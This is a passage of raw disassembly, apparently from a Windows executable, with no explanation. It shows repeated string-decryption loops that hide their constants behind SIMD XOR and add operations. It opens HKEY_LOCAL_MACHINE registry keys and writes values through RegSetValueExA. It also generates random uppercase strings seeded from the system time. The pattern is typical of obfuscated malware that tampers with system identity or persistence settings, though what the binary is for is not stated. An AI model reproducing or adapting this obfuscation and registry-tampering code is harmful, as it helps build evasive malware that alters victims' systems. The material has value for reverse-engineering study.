jl 0x1400c2d9d
movdqa xmm6, xmmword [0x140176ee0]
movdqa xmm5, xmmword [0x140177220]
movdqa xmm7, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c2c90
cmp r8d, 0x11
jge 0x1400c2de3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c2db0
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x30]
cmp rsi, r15
jae 0x1400c2e24
lea rax, [rsi + 1]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
cmp r15, 0xf
cmova rax, qword [rbp + 0x10]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c2e3c
lea rcx, [rbp + 0x10]
call fcn.1400605f0
movups xmm4, xmmword [0x1401735f0]
movzx r12d, byte [0x140173600]
inc edi
cmp edi, 0x19
jge 0x1400c2e50
mov r15, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
jmp 0x1400c2c10
mov r9, r14
lea r8, [0x14016dfb4]
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.1400621d0
mov r9, r14
lea r8, [0x14016dfb0]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x10]
call fcn.1400621d0
lea r10, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r10, qword [rbp + 0x10]
movups xmm0, xmmword [str.p_XFBLHs_OZH_3_n_6F]
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [0x140172e58]
mov dword [rsp + 0x40], eax
cmp byte [0x140172e5b], 0
je 0x1400c3043
mov r8d, ebx
cmp r13d, 2
jl 0x1400c2ffd
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c2ef0
cmp r8d, 0x14
jge 0x1400c3043
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400c3010
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c3072
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x10]
call fcn.14003d5f0
nop
lea rcx, [rbp - 0x18]
call fcn.14003d5f0
movsd xmm0, qword [0x1401748b8]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1401748c0]
mov dword [rsp + 0x38], eax
cmp byte [0x1401748c3], 0
je 0x1400c3213
mov r8d, ebx
cmp r13d, 2
jl 0x1400c31cc
movdqa xmm4, xmmword [0x140177220]
movdqa xmm2, xmmword [0x140176ee0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
mov eax, dword [0x140177050]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401748b8]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140176f00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c31e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea rax, [rsp + 0x30]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400c3231
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x18]
call fcn.140059030
nop
mov eax, dword [str.aU_RXU9]
mov dword [rbp - 0x30], eax
movzx ecx, word [0x140173c44]
mov word [rbp - 0x2c], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp - 0x30], 0x52
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
xor byte [rbp - 0x2d], 0x36
xor cl, 0x37
mov byte [rbp - 0x2c], cl
xor byte [rbp - 0x2b], 0x38
xor al, 0x39
mov byte [rbp - 0x2a], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea rax, [rbp - 0x30]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400c3297
mov r8, rdi
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.140059030
movups xmm0, xmmword [str.ugr_yk]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140173678]
movsd qword [rsp + 0x40], xmm0
movzx eax, byte [0x140173680]
mov byte [rsp + 0x48], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c341e
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c3311
cmp r8d, 0x19
jge 0x1400c3463
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400c3430
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r11d, dword [rbp - 8]
inc r11d
lea r10, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r10, qword [rbp - 0x18]
movsd xmm0, qword [str.wQFUEQINRSS_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140173fe0]
mov dword [rsp + 0x38], eax
cmp byte [0x140173fe3], 0
je 0x1400c3623
mov r8d, ebx
cmp r13d, 2
jl 0x1400c35d8
movdqa xmm4, xmmword [0x140177220]
movdqa xmm2, xmmword [0x140176ee0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
mov eax, dword [0x140177050]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.wQFUEQINRSS_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140176f00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c35f0
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r11d, dword [rbp + 0x20]
inc r11d
lea r10, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r10, qword [rbp + 0x10]
movsd xmm0, qword [str.czerRNPYuy_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140173318]
mov dword [rsp + 0x38], eax
cmp byte [0x14017331b], 0
je 0x1400c37d3
mov r8d, ebx
cmp r13d, 2
jl 0x1400c3793
movdqa xmm4, xmmword [0x140177220]
movdqa xmm2, xmmword [0x140176ee0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
mov eax, dword [0x140177050]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.czerRNPYuy_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140176f00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c37a0
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x10]
call fcn.14003d5f0
nop
lea rcx, [rbp - 0x18]
call fcn.14003d5f0
movups xmm0, xmmword [str._mfbrueyNNO_Q4]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140174020]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x140174030]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x140174040]
movups xmmword [rbp + 0x40], xmm1
mov eax, dword [0x140174050]
mov dword [rbp + 0x50], eax
movzx eax, word [0x140174054]
mov word [rbp + 0x54], ax
movzx eax, byte [0x140174056]
mov byte [rbp + 0x56], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c39ad
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400c38a0
cmp r8d, 0x47
jge 0x1400c39f3
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x1400c39c0
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
mov rdx, r14
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x184], ecx
mov eax, ecx
inc rdx
cmp rdx, 0x270
jb 0x1400c3a31
mov dword [rbp + 0x180], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov rsi, rbx
mov qword [rbp + 0x70], rbx
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x78], r12
mov byte [rbp + 0x60], sil
mov edi, ebx
movzx r15d, byte [0x140173600]
movups xmm4, xmmword [0x1401735f0]
nop dword [rax]
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, edi
sub ecx, eax
cmp ecx, 4
jne 0x1400c3ac3
cmp edi, 0x18
je 0x1400c3ac3
mov r8, r14
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x60]
call fcn.140058bb0
jmp 0x1400c3cad
movups xmmword [rsp + 0x30], xmm4
mov byte [rsp + 0x40], r15b
mov r8d, ebx
cmp r13d, 2
jl 0x1400c3c1d
movdqa xmm6, xmmword [0x140176ee0]
movdqa xmm5, xmmword [0x140177220]
movdqa xmm7, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c3b10
cmp r8d, 0x11
jge 0x1400c3c63
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c3c30
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov ecx, eax
shl rcx, 4
shr rcx, 0x20
movzx r9d, byte [rsp + rcx + 0x30]
cmp rsi, r12
jae 0x1400c3ca4
lea rax, [rsi + 1]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0x60]
cmp r12, 0xf
cmova rax, qword [rbp + 0x60]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400c3cbc
lea rcx, [rbp + 0x60]
call fcn.1400605f0
movups xmm4, xmmword [0x1401735f0]
movzx r15d, byte [0x140173600]
inc edi
cmp edi, 0x19
jge 0x1400c3cd0
mov r12, qword [rbp + 0x78]
mov rsi, qword [rbp + 0x70]
jmp 0x1400c3a90
mov r9, r14
lea r8, [0x14016dfb4]
xor edx, edx
lea rcx, [rbp + 0x60]
call fcn.1400621d0
mov r9, r14
lea r8, [0x14016dfb0]
mov rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.1400621d0
lea rsi, [rbp + 0x60]
mov rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x78]
cmp r8, 0xf
cmova rsi, rdx
lea r15, [rbp + 0x60]
cmova r15, rdx
add r15, qword [rbp + 0x70]
lea rdi, [rbp + 0x60]
cmp r8, 0xf
cmova rdi, rdx
cmp rdi, r15
je 0x1400c3d4c
sub rsi, rdi
movsx ecx, byte [rdi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
mov byte [rsi + rdi], al
inc rdi
cmp rdi, r15
jne 0x1400c3d30
mov r8, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x60]
mov edi, dword [rbp + 0x70]
lea rcx, [rbp + 0x60]
mov eax, dword [0x1401734f8]
mov dword [rbp - 0x30], eax
movzx eax, word [0x1401734fc]
mov word [rbp - 0x2c], ax
cmp r8, 0xf
ja 0x1400c3d70
mov rdx, rcx
mov byte [rbp - 0x30], 0x41
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
xor byte [rbp - 0x2d], 0x36
xor byte [rbp - 0x2c], 0x37
xor byte [rbp - 0x2b], 0x38
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdx
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c3db3
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r10, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r10, qword [rbp + 0x60]
mov rax, qword [str.e_QSXq:__AF_r]
mov qword [rbp - 0x30], rax
cmp byte [0x140174eef], 0
je 0x1400c3f23
cmp r13d, 2
jl 0x1400c3ee3
movdqa xmm4, xmmword [0x140177220]
movdqa xmm2, xmmword [0x140176ee0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
